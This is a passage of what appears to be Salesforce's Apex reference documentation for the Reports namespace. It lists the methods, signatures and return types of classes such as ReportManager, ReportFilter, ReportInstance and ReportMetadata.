Type: void
setFormulaType(value)
Sets the format of the numbers in the custom summary formula.
Signature
public void setFormulaType(String value)
Parameters
value
Type: String
For valid values, see Reports.FormulaType.
Return Value
Type: void
setFormulaType(formulaType)
Sets the format of numbers used in the custom summary formula.
Signature
public void setFormulaType(Reports.FormulaType formulaType)
Parameters
formulaType
Type: Reports.FormulaType
Return Value
Type: void
setLabel(label)
Sets the user-facing name of the custom summary formula.
Signature
public void setLabel(String label)
Parameters
label
Type: String
1948
ReportCsf ClassReference
Return Value
Type: void
toString()
Returns a string.
Signature
public String toString()
Return Value
Type: String
ReportCurrency Class
Contains information about a currency value, including the amount and currency code.
Namespace
Reports
ReportCurrency Methods
The following are methods for ReportCurrency. All are instance methods.
IN THIS SECTION:
getAmount()
Returns the amount of the currency value.
getCurrencyCode()
Returns the report currency code, such as USD, EUR, or GBP, for an organization that has multicurrency enabled. The value is null
if the organization does not have multicurrency enabled.
getAmount()
Returns the amount of the currency value.
Syntax
public Decimal getAmount()
Return Value
Type: Decimal
1949
ReportCurrency ClassReference
getCurrencyCode()
Returns the report currency code, such as USD, EUR, or GBP, for an organization that has multicurrency enabled. The value is null if
the organization does not have multicurrency enabled.
Syntax
public String getCurrencyCode()
Return Value
Type: String
ReportDataCell Class
Contains the data for a cell in the report, including the display label and value.
Namespace
Reports
ReportDataCell Methods
The following are methods for ReportDataCell. All are instance methods.
IN THIS SECTION:
getLabel()
Returns the localized display name of the value of a specified cell in the report.
getValue()
Returns the value of a specified cell of a detail row of a report.
getLabel()
Returns the localized display name of the value of a specified cell in the report.
Syntax
public String getLabel()
Return Value
Type: String
getValue()
Returns the value of a specified cell of a detail row of a report.
1950
ReportDataCell ClassReference
Syntax
public Object getValue()
Return Value
Type: Object
ReportDescribeResult Class
Contains report, report type, and extended metadata for a tabular, summary, or matrix report.
Namespace
Reports
ReportDescribeResult Methods
The following are methods for ReportDescribeResult. All are instance methods.
IN THIS SECTION:
getReportExtendedMetadata()
Returns additional information about grouping and summaries.
getReportMetadata()
Returns unique identifiers for groupings and summaries.
getReportTypeMetadata()
Returns the fields in each section of a report type, plus filtering information for those fields.
getReportExtendedMetadata()
Returns additional information about grouping and summaries.
Syntax
public Reports.ReportExtendedMetadata getReportExtendedMetadata()
Return Value
Type: Reports.ReportExtendedMetadata
getReportMetadata()
Returns unique identifiers for groupings and summaries.
Syntax
public Reports.ReportMetadata getReportMetadata()
1951
ReportDescribeResult ClassReference
Return Value
Type: Reports.ReportMetadata
getReportTypeMetadata()
Returns the fields in each section of a report type, plus filtering information for those fields.
Syntax
public Reports.ReportTypeMetadata getReportTypeMetadata()
Return Value
Type: Reports.ReportTypeMetadata
ReportDetailRow Class
Contains data cells for a detail row of a report.
Namespace
Reports
ReportDetailRow Methods
The following are methods for ReportDetailRow. All are instance methods.
IN THIS SECTION:
getDataCells()
Returns a list of data cells for a detail row.
getDataCells()
Returns a list of data cells for a detail row.
Syntax
public LIST<Reports.ReportDataCell> getDataCells()
Return Value
Type: List<Reports.ReportDataCell>
ReportDivisionInfo Class
Contains information about the divisions that can be used to filter a report.
1952
ReportDetailRow ClassReference
Available only if your organization uses divisions to segment data and you have the “Affected by Divisions” permission. If you do not
have the “Affected by Divisions” permission, your reports include records in all divisions.
Namespace
Reports
Usage
Use to filter records in the report based on a division, like West Coast and East Coast.
ReportDivisionInfo Methods
The following are methods for ReportDivisionInfo.
getDefaultValue()
Returns the default division for the report.
Signature
public String getDefaultValue()
Return Value
Type: String
getValues()
Returns a list of all possible divisions for the report.
Signature
public List<Reports.FilterValue> getValues()
Return Value
Type: List<Reports.FilterValue>
ReportExtendedMetadata Class
Contains report extended metadata for a tabular, summary, or matrix report.
Namespace
Reports
Report extended metadata provides additional, detailed metadata about summary and grouping fields, including data type and label
information.
1953
ReportExtendedMetadata ClassReference
ReportExtendedMetadata Methods
The following are methods for ReportExtendedMetadata. All are instance methods.
IN THIS SECTION:
getAggregateColumnInfo()
Returns all report summaries such as Record Count, Sum, Average, Max, Min, and custom summary formulas. Contains
values for each summary that is listed in the report metadata.
getDetailColumnInfo()
Returns a map of two properties for each field that has detailed data identified by its unique API name. The detailed data fields are
also listed in the report metadata.
getGroupingColumnInfo()
Returns a map of each row or column grouping to its metadata. Contains values for each grouping that is identified in the
groupingsDown and groupingsAcross lists.
getAggregateColumnInfo()
Returns all report summaries such as Record Count, Sum, Average, Max, Min, and custom summary formulas. Contains values
for each summary that is listed in the report metadata.
Syntax
public MAP<String,Reports.AggregateColumn> getAggregateColumnInfo()
Return Value
Type: Map<String,Reports.AggregateColumn>
getDetailColumnInfo()
Returns a map of two properties for each field that has detailed data identified by its unique API name. The detailed data fields are also
listed in the report metadata.
Syntax
public MAP<String,Reports.DetailColumn> getDetailColumnInfo()
Return Value
Type: Map<String,Reports.DetailColumn>
getGroupingColumnInfo()
Returns a map of each row or column grouping to its metadata. Contains values for each grouping that is identified in the groupingsDown
and groupingsAcross lists.
Syntax
public MAP<String,Reports.GroupingColumn> getGroupingColumnInfo()
1954
ReportExtendedMetadata ClassReference
Return Value
Type: Map<String,Reports.GroupingColumn>
ReportFact Class
Contains the fact map for the report, which represents the report’s data values.
Namespace
Reports
Usage
ReportFact is the parent class of ReportFactWithDetails and ReportFactWithSummaries. If includeDetails
is true when the report is run, the fact map is a ReportFactWithDetails object. If includeDetails is false when
the report is run, the fact map is a ReportFactWithSummaries object.
ReportFact Methods
The following are methods for ReportFact. All are instance methods.
IN THIS SECTION:
getAggregates()
Returns summary-level data for a report, including the record count.
getKey()
Returns the unique identifier for a row or column grouping. This identifier can be used to index specific data values within each
grouping.
getAggregates()
Returns summary-level data for a report, including the record count.
Syntax
public LIST<Reports.SummaryValue> getAggregates()
Return Value
Type: List<Reports.SummaryValue>
getKey()
Returns the unique identifier for a row or column grouping. This identifier can be used to index specific data values within each grouping.
Syntax
public String getKey()
1955
ReportFact ClassReference
Return Value
Type: String
ReportFactWithDetails Class
Contains the detailed fact map for the report, which represents the report’s data values.
Namespace
Reports
Usage
The ReportFactWithDetails class extends the ReportFact class. A ReportFactWithDetails object is returned if
includeDetails is set to true when the report is run. To access the detail values, you’ll need to cast the return value of the
ReportResults.getFactMap method to a ReportFactWithDetails object.
ReportFactWithDetails Methods
The following are methods for ReportFactWithDetails. All are instance methods.
IN THIS SECTION:
getAggregates()
Returns summary-level data for a report, including the record count.
getKey()
Returns the unique identifier for a row or column grouping. This identifier can be used to index specific data values within each
grouping.
getRows()
Returns a list of detailed report data in the order of the detail columns that are provided by the report metadata.
getAggregates()
Returns summary-level data for a report, including the record count.
Syntax
public LIST<Reports.SummaryValue> getAggregates()
Return Value
Type: List<Reports.SummaryValue>
getKey()
Returns the unique identifier for a row or column grouping. This identifier can be used to index specific data values within each grouping.
1956
ReportFactWithDetails ClassReference
Syntax
public String getKey()
Return Value
Type: String
getRows()
Returns a list of detailed report data in the order of the detail columns that are provided by the report metadata.
Syntax
public LIST<Reports.ReportDetailRow> getRows()
Return Value
Type: List<Reports.ReportDetailRow>
ReportFactWithSummaries Class
Contains the fact map for the report, which represents the report’s data values, and includes summarized fields.
Namespace
Reports
Usage
The ReportFactWithSummaries class extends the ReportFact class. A ReportFactWithSummaries object is
returned if includeDetails is set to false when the report is run.
ReportFactWithSummaries Methods
The following are methods for ReportFactWithSummaries. All are instance methods.
IN THIS SECTION:
getAggregates()
Returns summary-level data for a report, including the record count.
getKey()
Returns the unique identifier for a row or column grouping. This identifier can be used to index specific data values within each
grouping.
toString()
Returns a string.
1957
ReportFactWithSummaries ClassReference
getAggregates()
Returns summary-level data for a report, including the record count.
Syntax
public LIST<Reports.SummaryValue> getAggregates()
Return Value
Type: List<Reports.SummaryValue>
getKey()
Returns the unique identifier for a row or column grouping. This identifier can be used to index specific data values within each grouping.
Syntax
public String getKey()
Return Value
Type: String
toString()
Returns a string.
Signature
public String toString()
Return Value
Type: String
ReportFilter Class
Contains information about a report filter, including column, operator, and value.
Namespace
Reports
IN THIS SECTION:
ReportFilter Constructors
ReportFilter Methods
1958
ReportFilter ClassReference
ReportFilter Constructors
The following are constructors for ReportFilter.
IN THIS SECTION:
ReportFilter()
Creates a new instance of the Reports.ReportFilter class. You can then set values by using the “set” methods.
ReportFilter(column, operator, value)
Creates a new instance of the Reports.ReportFilter class by using the specified parameters.
ReportFilter()
Creates a new instance of the Reports.ReportFilter class. You can then set values by using the “set” methods.
Signature
public ReportFilter()
ReportFilter(column, operator, value)
Creates a new instance of the Reports.ReportFilter class by using the specified parameters.
Signature
public ReportFilter(String column, String operator, String value)
Parameters
column
Type: String
operator
Type: String
value
Type: String
ReportFilter Methods
The following are methods for ReportFilter. All are instance methods.
IN THIS SECTION:
getColumn()
Returns the unique API name for the field that’s being filtered.
getOperator()
Returns the unique API name for the condition that is used to filter a field, such as “greater than” or “not equal to.” Filter conditions
depend on the data type of the field.
1959
ReportFilter ClassReference
getValue()
Returns the value by which a field can be filtered. For example, the field Age can be filtered by a numeric value.
setColumn(column)
Sets the unique API name for the field that’s being filtered.
setOperator(operator)
Sets the unique API name for the condition that is used to filter a field, such as “greater than” or “not equal to.” Filter conditions
depend on the data type of the field.
setValue(value)
Sets the value by which a field can be filtered. For example, the field Age can be filtered by a numeric value.
getColumn()
Returns the unique API name for the field that’s being filtered.
Syntax
public String getColumn()
Return Value
Type: String
getOperator()
Returns the unique API name for the condition that is used to filter a field, such as “greater than” or “not equal to.” Filter conditions
depend on the data type of the field.
Syntax
public String getOperator()
Return Value
Type: String
getValue()
Returns the value by which a field can be filtered. For example, the field Age can be filtered by a numeric value.
Syntax
public String getValue()
Return Value
Type: String
1960
ReportFilter ClassReference
setColumn(column)
Sets the unique API name for the field that’s being filtered.
Syntax
public Void setColumn(String column)
Parameters
column
Type: String
Return Value
Type: Void
setOperator(operator)
Sets the unique API name for the condition that is used to filter a field, such as “greater than” or “not equal to.” Filter conditions depend
on the data type of the field.
Syntax
public Void setOperator(String operator)
Parameters
operator
Type: String
Return Value
Type: Void
setValue(value)
Sets the value by which a field can be filtered. For example, the field Age can be filtered by a numeric value.
Syntax
public Void setValue(String value)
Parameters
value
Type: String
Return Value
Type: Void
1961
ReportFilter ClassReference
ReportFormat Enum
Contains the possible report format types.
Namespace
Reports
Enum Values
The following are the values of the Reports.ReportFormat enum.
DescriptionValue
Matrix report formatMATRIX
Summary report formatSUMMARY
Tabular report formatTABULAR
ReportInstance Class
Returns an instance of a report that was run asynchronously. Retrieves the results for that instance.
Namespace
Reports
ReportInstance Methods
The following are methods for ReportInstance. All are instance methods.
IN THIS SECTION:
getCompletionDate()
Returns the date and time when the instance of the report finished running. The completion date is available only if the report
instance ran successfully or couldn’t be run because of an error. Date and time information is in ISO-8601 format.
getId()
Returns the unique ID for an instance of a report that was run asynchronously.
getOwnerId()
Returns the ID of the user who created the report instance.
getReportId()
Returns the unique ID of the report this instance is based on.
getReportResults()
Retrieves results for an instance of an asynchronous report. When you request your report, you can specify whether to summarize
data or include details.
1962
ReportFormat EnumReference
getRequestDate()
Returns the date and time when an instance of the report was run. Date and time information is in ISO-8601 format.
getStatus()
Returns the status of a report.
getCompletionDate()
Returns the date and time when the instance of the report finished running. The completion date is available only if the report instance
ran successfully or couldn’t be run because of an error. Date and time information is in ISO-8601 format.
Syntax
public Datetime getCompletionDate()
Return Value
Type: Datetime
getId()
Returns the unique ID for an instance of a report that was run asynchronously.
Syntax
public Id getId()
Return Value
Type: Id
getOwnerId()
Returns the ID of the user who created the report instance.
Syntax
public Id getOwnerId()
Return Value
Type: Id
getReportId()
Returns the unique ID of the report this instance is based on.
Syntax
public Id getReportId()
1963
ReportInstance ClassReference
Return Value
Type: Id
getReportResults()
Retrieves results for an instance of an asynchronous report. When you request your report, you can specify whether to summarize data
or include details.
Syntax
public Reports.ReportResults getReportResults()
Return Value
Type: Reports.ReportResults
getRequestDate()
Returns the date and time when an instance of the report was run. Date and time information is in ISO-8601 format.
Syntax
public Datetime getRequestDate()
Return Value
Type: Datetime
getStatus()
Returns the status of a report.
Syntax
public String getStatus()
Return Value
Type: String
Usage
•New if the report run was recently triggered through a request.
•Success if the report ran.
•Running if the report is being run.
•Error if the report run failed. The instance of a report run can return an error if, for example, your permission to access the report
was removed after you requested the run.
1964
ReportInstance ClassReference
ReportManager Class
Runs a report synchronously or asynchronously and with or without details.
Namespace
Reports
Usage
Gets instances of reports and describes the metadata of Reports.
ReportManager Methods
The following are methods for ReportManager. All methods are static.
IN THIS SECTION:
describeReport(reportId)
Retrieves report, report type, and extended metadata for a tabular, summary, or matrix report.
getDatatypeFilterOperatorMap()
Lists the field data types that you can use to filter the report.
getReportInstance(instanceId)
Retrieves results for an instance of a report that has been run asynchronously. The settings you use when you run your asynchronous
report determine whether you can retrieve summary data or detailed data.
getReportInstances(reportId)
Returns a list of instances for a report that was run asynchronously. Each item in the list represents a separate instance of the report,
with metadata for the time at which the report was run.
runAsyncReport(reportId, reportMetadata, includeDetails)
Runs a report asynchronously with the report ID. Includes details if includeDetails is set to true. Filters the report based
on the report metadata in reportMetadata.
runAsyncReport(reportId, includeDetails)
Runs a report asynchronously with the report ID. Includes details if includeDetails is set to true.
runAsyncReport(reportId, reportMetadata)
Runs a report asynchronously with the report ID. Filters the results based on the report metadata in reportMetadata.
runAsyncReport(reportId)
Runs a report asynchronously with the report ID.
runReport(reportId, reportMetadata, includeDetails)
Runs a report immediately with the report ID. Includes details if includeDetails is set to true. Filters the results based on
the report metadata in reportMetadata.
runReport(reportId, includeDetails)
Runs a report immediately with the report ID. Includes details if includeDetails is set to true.
runReport(reportId, reportMetadata)
Runs a report immediately with the report ID. Filters the results based on the report metadata in rmData.
1965
ReportManager ClassReference
runReport(reportId)
Runs a report immediately with the report ID.
describeReport(reportId)
Retrieves report, report type, and extended metadata for a tabular, summary, or matrix report.
Syntax
public static Reports.ReportDescribeResult describeReport(Id reportId)
Parameters
reportId
Type: Id
Return Value
Type: Reports.ReportDescribeResult
getDatatypeFilterOperatorMap()
Lists the field data types that you can use to filter the report.
Syntax
public static MAP<String,LIST<Reports.FilterOperator>> getDatatypeFilterOperatorMap()
Return Value
Type: Map<String, List<Reports.FilterOperator>>
getReportInstance(instanceId)
Retrieves results for an instance of a report that has been run asynchronously. The settings you use when you run your asynchronous
report determine whether you can retrieve summary data or detailed data.
Syntax
public static Reports.ReportInstance getReportInstance(Id instanceId)
Parameters
instanceId
Type: Id
Return Value
Type: Reports.ReportInstance
1966
ReportManager ClassReference
getReportInstances(reportId)
Returns a list of instances for a report that was run asynchronously. Each item in the list represents a separate instance of the report, with
metadata for the time at which the report was run.
Syntax
public static LIST<Reports.ReportInstance> getReportInstances(Id reportId)
Parameters
reportId
Type: Id
Return Value
Type: List<Reports.ReportInstance>
runAsyncReport(reportId, reportMetadata, includeDetails)
Runs a report asynchronously with the report ID. Includes details if includeDetails is set to true. Filters the report based on
the report metadata in reportMetadata.
Syntax
public static Reports.ReportInstance runAsyncReport(Id reportId, Reports.ReportMetadata
reportMetadata, Boolean includeDetails)
Parameters
reportId
Type: Id
reportMetadata
Type: Reports.ReportMetadata
includeDetails
Type: Boolean
Return Value
Type: Reports.ReportInstance
runAsyncReport(reportId, includeDetails)
Runs a report asynchronously with the report ID. Includes details if includeDetails is set to true.
Syntax
public static Reports.ReportInstance runAsyncReport(Id reportId, Boolean includeDetails)
1967
ReportManager ClassReference
Parameters
reportId
Type: Id
includeDetails
Type: Boolean
Return Value
Type: Reports.ReportInstance
runAsyncReport(reportId, reportMetadata)
Runs a report asynchronously with the report ID. Filters the results based on the report metadata in reportMetadata.
Syntax
public static Reports.ReportInstance runAsyncReport(Id reportId, Reports.ReportMetadata
reportMetadata)
Parameters
reportId
Type: Id
reportMetadata
Type: Reports.ReportMetadata
Return Value
Type: Reports.ReportInstance
runAsyncReport(reportId)
Runs a report asynchronously with the report ID.
Syntax
public static Reports.ReportInstance runAsyncReport(Id reportId)
Parameters
reportId
Type: Id
Return Value
Type: Reports.ReportInstance
1968
ReportManager ClassReference
runReport(reportId, reportMetadata, includeDetails)
Runs a report immediately with the report ID. Includes details if includeDetails is set to true. Filters the results based on the
report metadata in reportMetadata.
Syntax
public static Reports.ReportResults runReport(Id reportId, Reports.ReportMetadata
reportMetadata, Boolean includeDetails)
Parameters
reportId
Type: Id
reportMetadata
Type: Reports.ReportMetadata
includeDetails
Type: Boolean
Return Value
Type: Reports.ReportResults
runReport(reportId, includeDetails)
Runs a report immediately with the report ID. Includes details if includeDetails is set to true.
Syntax
public static Reports.ReportResults runReport(Id reportId, Boolean includeDetails)
Parameters
reportId
Type: Id
includeDetails
Type: Boolean
Return Value
Type: Reports.ReportResults
runReport(reportId, reportMetadata)
Runs a report immediately with the report ID. Filters the results based on the report metadata in rmData.
Syntax
public static Reports.ReportResults runReport(Id reportId, Reports.ReportMetadata
reportMetadata)
1969
ReportManager ClassReference
Parameters
reportId
Type: Id
reportMetadata
Type: Reports.ReportMetadata Reports.ReportMetadata
Return Value
Type: Reports.ReportResults
runReport(reportId)
Runs a report immediately with the report ID.
Syntax
public static Reports.ReportResults runReport(Id reportId)
Parameters
reportId
Type: Id
Return Value
Type: Reports.ReportResults
ReportMetadata Class
Contains report metadata for a tabular, summary, or matrix report.
Namespace
Reports
Usage
Report metadata gives information about the report as a whole, such as the report type, format, summary fields, row or column groupings,
and filters that are saved to the report. You can use the ReportMetadata class to retrieve report metadata and to set metadata
that can be used to filter a report.
ReportMetadata Methods
The following are methods for ReportMetadata. All are instance methods.
IN THIS SECTION:
getAggregates()
Returns unique identifiers for summary or custom summary formula fields in the report.
1970
ReportMetadata ClassReference
getBuckets()
Returns a list of bucket fields in the report.
getCrossFilters()
Returns information about cross filters applied to a report.
getCurrencyCode()
Returns report currency, such as USD, EUR, or GBP, for an organization that has multicurrency enabled. The value is null if the
organization does not have multicurrency enabled.
getCustomSummaryFormula()
Returns information about custom summary formulas in a report.
getDescription()
Returns the description of the report.
getDetailColumns()
Returns unique API names (column names) for the fields that contain detailed data. For example, the method might return the
following values: “OPPORTUNITY_NAME, TYPE, LEAD_SOURCE, AMOUNT.”
getDeveloperName()
Returns the report API name. For example, the method might return the following value: “Closed_Sales_This_Quarter.”
getDivision()
Returns the division specified in the report.
getGroupingsAcross()
Returns column groupings in a report.
getGroupingsDown()
Returns row groupings for a report.
getHasDetailRows()
Indicates whether the report has detail rows.
getHasRecordCount()
Indicates whether the report shows the total number of records.
getHistoricalSnapshotDates()
Returns a list of historical snapshot dates.
getId()
Returns the unique report ID.
getName()
Returns the report name.
getReportBooleanFilter()
Returns logic to parse custom field filters. The value is null when filter logic is not specified.
getReportFilters()
Returns a list of each custom filter in the report along with the field name, filter operator, and filter value.
getReportFormat()
Returns the format of the report.
getReportType()
Returns the unique API name and display name for the report type.
1971
ReportMetadata ClassReference
getScope()
Returns the API name for the scope defined for the report. Scope values depend on the report type.
getShowGrandTotal()
Indicates whether the report shows the grand total.
getShowSubtotals()
Indicates whether the report shows subtotals, such as column or row totals.
getSortBy()
Returns the list of columns on which the report is sorted. Currently, you can sort on only one column.
getStandardDateFilter()
Returns information about the standard date filter for the report, such as the start date, end date, date range, and date field API
name.
getStandardFilters()
Returns a list of standard filters for the report.
getTopRows()
Returns information about a row limit filter, including the number of rows returned and the sort order.
setAggregates(aggregates)
Sets unique identifiers for standard or custom summary formula fields in the report.
setBuckets(buckets)
Creates bucket fields in a report.
setCrossFilters(crossFilters)
Applies cross filters to a report.
setCurrencyCode(currencyCode)
Sets the currency, such as USD, EUR, or GBP, for report summary fields in an organization that has multicurrency enabled.
setCustomSummaryFormula(customSummaryFormula)
Adds a custom summary formula to a report.
setDescription(description)
Sets the description of the report.
setDetailColumns(detailColumns)
Sets the unique API names for the fields that contain detailed data—for example, OPPORTUNITY_NAME, TYPE, LEAD_SOURCE,
or AMOUNT.
setDeveloperName(developerName)
Sets the report API name—for example, Closed_Sales_This_Quarter.
setDivision(division)
Sets the division of the report.
setGroupingsAcross(groupingInfo)
Sets column groupings in a report.
setGroupingsDown(groupingInfo)
Sets row groupings for a report.
setHasDetailRows(hasDetailRows)
Specifies whether the report has detail rows.
1972
ReportMetadata ClassReference
setHasRecordCount(hasRecordCount)
Specifies whether the report is configured to show the total number of records.
setHistoricalSnapshotDates(historicalSnapshot)
Sets a list of historical snapshot dates.
setId(id)
Sets the unique report ID.
setName(name)
Sets the report name.
setReportBooleanFilter(reportBooleanFilter)
Sets logic to parse custom field filters.
setReportFilters(reportFilters)
Sets a list of each custom filter in the report along with the field name, filter operator, and filter value.
setReportFormat(format)
Sets the format of the report.
setReportType(reportType)
Sets the unique API name and display name for the report type.
setScope(scopeName)
Sets the API name for the scope defined for the report. Scope values depend on the report type.
setShowGrandTotal(showGrandTotal)
Specifies whether the report shows the grand total.
setShowSubtotals(showSubtotals)
Specifies whether the report shows subtotals, such as column or row totals.
setSortBy(column)
Sets the list of columns on which the report is sorted. Currently, you can only sort on one column.
setStandardDateFilter(dateFilter)
Sets the standard date filter—which includes the start date, end date, date range, and date field API name—for the report.
setStandardFilters(filters)
Sets one or more standard filters on the report.
setTopRows(topRows)
Applies a row limit filter to a report.
getAggregates()
Returns unique identifiers for summary or custom summary formula fields in the report.
Syntax
public LIST<String> getAggregates()
Return Value
Type: List<String>
1973
ReportMetadata ClassReference
Usage
For example:
•a!Amount represents the average for the Amount column.
•s!Amount represents the sum of the Amount column.
•m!Amount represents the minimum value of the Amount column.
•x!Amount represents the maximum value of the Amount column.
•s!<customfieldID> represents the sum of a custom field column. For custom fields and custom report types, the identifier
is a combination of the summary type and the field ID.
getBuckets()
Returns a list of bucket fields in the report.
Signature
public List<Reports.BucketField> getBuckets()
Return Value
Type: List<Reports.BucketField>
getCrossFilters()
Returns information about cross filters applied to a report.
Signature
public Reports.CrossFilter getCrossFilters()
Return Value
Type: List<Reports.CrossFilter>
getCurrencyCode()
Returns report currency, such as USD, EUR, or GBP, for an organization that has multicurrency enabled. The value is null if the
organization does not have multicurrency enabled.
Syntax
public String getCurrencyCode()
Return Value
Type: String
getCustomSummaryFormula()
Returns information about custom summary formulas in a report.
1974
ReportMetadata ClassReference
Signature
public Map<String,Reports.ReportCsf> getCustomSummaryFormula()
Return Value
Type: Map<String,Reports.ReportCsf>
getDescription()
Returns the description of the report.
Signature
public String getDescription()
Return Value
Type: String
getDetailColumns()
Returns unique API names (column names) for the fields that contain detailed data. For example, the method might return the following
values: “OPPORTUNITY_NAME, TYPE, LEAD_SOURCE, AMOUNT.”
Syntax
public LIST<String> getDetailColumns()
Return Value
Type: List<String>
getDeveloperName()
Returns the report API name. For example, the method might return the following value: “Closed_Sales_This_Quarter.”
Syntax
public String getDeveloperName()
Return Value
Type: String
getDivision()
Returns the division specified in the report.
Note: Reports that use standard filters (such as My Cases or My Team’s Accounts) show records in all divisions. These reports can’t
be further limited to a specific division.
1975
ReportMetadata ClassReference
Signature
public String getDivision()
Return Value
Type: String
getGroupingsAcross()
Returns column groupings in a report.
Syntax
public LIST<Reports.GroupingInfo> getGroupingsAcross()
Return Value
Type: List<Reports.GroupingInfo>
Usage
The identifier is:
•An empty array for reports in summary format, because summary reports don't include column groupings
•BucketField_(ID) for bucket fields
•The ID of a custom field when the custom field is used for a column grouping
getGroupingsDown()
Returns row groupings for a report.
Syntax
public LIST<Reports.GroupingInfo> getGroupingsDown()
Return Value
Type: List<Reports.GroupingInfo>
Usage
The identifier is:
•BucketField_(ID) for bucket fields
•The ID of a custom field when the custom field is used for grouping
getHasDetailRows()
Indicates whether the report has detail rows.
1976
ReportMetadata ClassReference
Signature
public Boolean getHasDetailRows()
Return Value
Type: Boolean
getHasRecordCount()
Indicates whether the report shows the total number of records.
Signature
public Boolean getHasRecordCount()
Return Value
Type: Boolean
getHistoricalSnapshotDates()
Returns a list of historical snapshot dates.
Syntax
public LIST<String> getHistoricalSnapshotDates()
Return Value
Type: List<String>
getId()
Returns the unique report ID.
Syntax
public Id getId()
Return Value
Type: Id
getName()
Returns the report name.
Syntax
public String getName()
1977
ReportMetadata ClassReference
Return Value
Type: String
getReportBooleanFilter()
Returns logic to parse custom field filters. The value is null when filter logic is not specified.
Syntax
public String getReportBooleanFilter()
Return Value
Type: String
getReportFilters()
Returns a list of each custom filter in the report along with the field name, filter operator, and filter value.
Syntax
public LIST<Reports.ReportFilter> getReportFilters()
Return Value
Type: List<Reports.ReportFilter>
getReportFormat()
Returns the format of the report.
Syntax
public Reports.ReportFormat getReportFormat()
Return Value
Type: Reports.ReportFormat
Usage
This value can be:
•TABULAR
•SUMMARY
•MATRIX
getReportType()
Returns the unique API name and display name for the report type.
1978
ReportMetadata ClassReference
Syntax
public Reports.ReportType getReportType()
Return Value
Type: Reports.ReportType
getScope()
Returns the API name for the scope defined for the report. Scope values depend on the report type.
Signature
public String getScope()
Return Value
Type: String
getShowGrandTotal()
Indicates whether the report shows the grand total.
Signature
public Boolean getShowGrandTotal()
Return Value
Type: Boolean
getShowSubtotals()
Indicates whether the report shows subtotals, such as column or row totals.
Signature
public Boolean getShowSubtotals()
Return Value
Type: Boolean
getSortBy()
Returns the list of columns on which the report is sorted. Currently, you can sort on only one column.
Signature
public List<Reports.SortColumn> getSortBy()
1979
ReportMetadata ClassReference
Return Value
Type: List<Reports.SortColumn>
getStandardDateFilter()
Returns information about the standard date filter for the report, such as the start date, end date, date range, and date field API name.
Signature
public Reports.StandardDateFilter getStandardDateFilter()
Return Value
Type: Reports.StandardDateFilter
getStandardFilters()
Returns a list of standard filters for the report.
Signature
public List<Reports.StandardFilter> getStandardFilters()
Return Value
Type: List<Reports.StandardFilter>
getTopRows()
Returns information about a row limit filter, including the number of rows returned and the sort order.
Signature
public Reports.TopRows getTopRows()
Return Value
Type: Reports.TopRows
setAggregates(aggregates)
Sets unique identifiers for standard or custom summary formula fields in the report.
Signature
public void setAggregates(List<String> aggregates)
1980
ReportMetadata ClassReference
Parameters
aggregates
Type: List<String>
Return Value
Type: void
setBuckets(buckets)
Creates bucket fields in a report.
Signature
public void setBuckets(List<Reports.BucketField> buckets)
Parameters
buckets
Type: List<Reports.BucketField>
Return Value
Type: void
setCrossFilters(crossFilters)
Applies cross filters to a report.
Signature
public void setCrossFilters(List<Reports.CrossFilter> crossFilters)
Parameters
crossFilter
Type: List<Reports.CrossFilter>
Return Value
Type: void
setCurrencyCode(currencyCode)
Sets the currency, such as USD, EUR, or GBP, for report summary fields in an organization that has multicurrency enabled.
Signature
public void setCurrencyCode(String currencyCode)
1981
ReportMetadata ClassReference
Parameters
currencyCode
Type: String
Return Value
Type: void
setCustomSummaryFormula(customSummaryFormula)
Adds a custom summary formula to a report.
Signature
public void setCustomSummaryFormula(MAP<String,Reports.ReportCsf> customSummaryFormula)
Parameters
customSummaryFormula
Type: Map<String, Reports.ReportCsf>
Return Value
Type: void
setDescription(description)
Sets the description of the report.
Signature
public void setDescription(String description)
Parameters
description
Type: String
Return Value
Type: void
setDetailColumns(detailColumns)
Sets the unique API names for the fields that contain detailed data—for example, OPPORTUNITY_NAME, TYPE, LEAD_SOURCE,
or AMOUNT.
Signature
public void setDetailColumns(List<String> detailColumns)
1982
ReportMetadata ClassReference
Parameters
detailColumns
Type: List<String>
Return Value
Type: void
setDeveloperName(developerName)
Sets the report API name—for example, Closed_Sales_This_Quarter.
Signature
public void setDeveloperName(String developerName)
Parameters
developerName
Type: String
Return Value
Type: void
setDivision(division)
Sets the division of the report.
Note: Reports that use standard filters (such as My Cases or My Team’s Accounts) show records in all divisions. These reports can’t
be further limited to a specific division.
Signature
public void setDivision(String division)
Parameters
division
Type: String
Return Value
Type: void
setGroupingsAcross(groupingInfo)
Sets column groupings in a report.
1983
ReportMetadata ClassReference
Signature
public void setGroupingsAcross(List<Reports.GroupingInfo> groupingInfo)
Parameters
groupingInfo
Type: List<Reports.GroupingInfo>
Return Value
Type: void
setGroupingsDown(groupingInfo)
Sets row groupings for a report.
Signature
public void setGroupingsDown(List<Reports.GroupingInfo> groupingInfo)
Parameters
groupingInfo
Type: List<Reports.GroupingInfo>
Return Value
Type: void
setHasDetailRows(hasDetailRows)
Specifies whether the report has detail rows.
Signature
public void setHasDetailRows(Boolean hasDetailRows)
Parameters
hasDetailRows
Type: Boolean
Return Value
Type: void
setHasRecordCount(hasRecordCount)
Specifies whether the report is configured to show the total number of records.
1984
ReportMetadata ClassReference
Signature
public void setHasRecordCount(Boolean hasRecordCount)
Parameters
hasRecordCount
Type: Boolean
Return Value
Type: void
setHistoricalSnapshotDates(historicalSnapshot)
Sets a list of historical snapshot dates.
Syntax
public Void setHistoricalSnapshotDates(LIST<String> historicalSnapshot)
Parameters
historicalSnapshot
Type: List<String>
Return Value
Type: Void
setId(id)
Sets the unique report ID.
Signature
public void setId(Id id)
Parameters
id
Type: Id
Return Value
Type: void
setName(name)
Sets the report name.
1985
ReportMetadata ClassReference
Signature
public void setName(String name)
Parameters
name
Type: String
Return Value
Type: void
setReportBooleanFilter(reportBooleanFilter)
Sets logic to parse custom field filters.
Syntax
public Void setReportBooleanFilter(String reportBooleanFilter)
Parameters
reportBooleanFilter
Type: String
Return Value
Type: Void
setReportFilters(reportFilters)
Sets a list of each custom filter in the report along with the field name, filter operator, and filter value.
Syntax
public Void setReportFilters(LIST<Reports.ReportFilter> reportFilters)
Parameters
reportFilters
Type: List<Reports.ReportFilter>
Return Value
Type: Void
setReportFormat(format)
Sets the format of the report.
1986
ReportMetadata ClassReference
Signature
public void setReportFormat(Reports.ReportFormat format)
Parameters
format
Type: Reports.ReportFormat
Return Value
Type: void
setReportType(reportType)
Sets the unique API name and display name for the report type.
Signature
public void setReportType(Reports.ReportType reportType)
Parameters
reportType
Type: Reports.ReportType
Return Value
Type: void
setScope(scopeName)
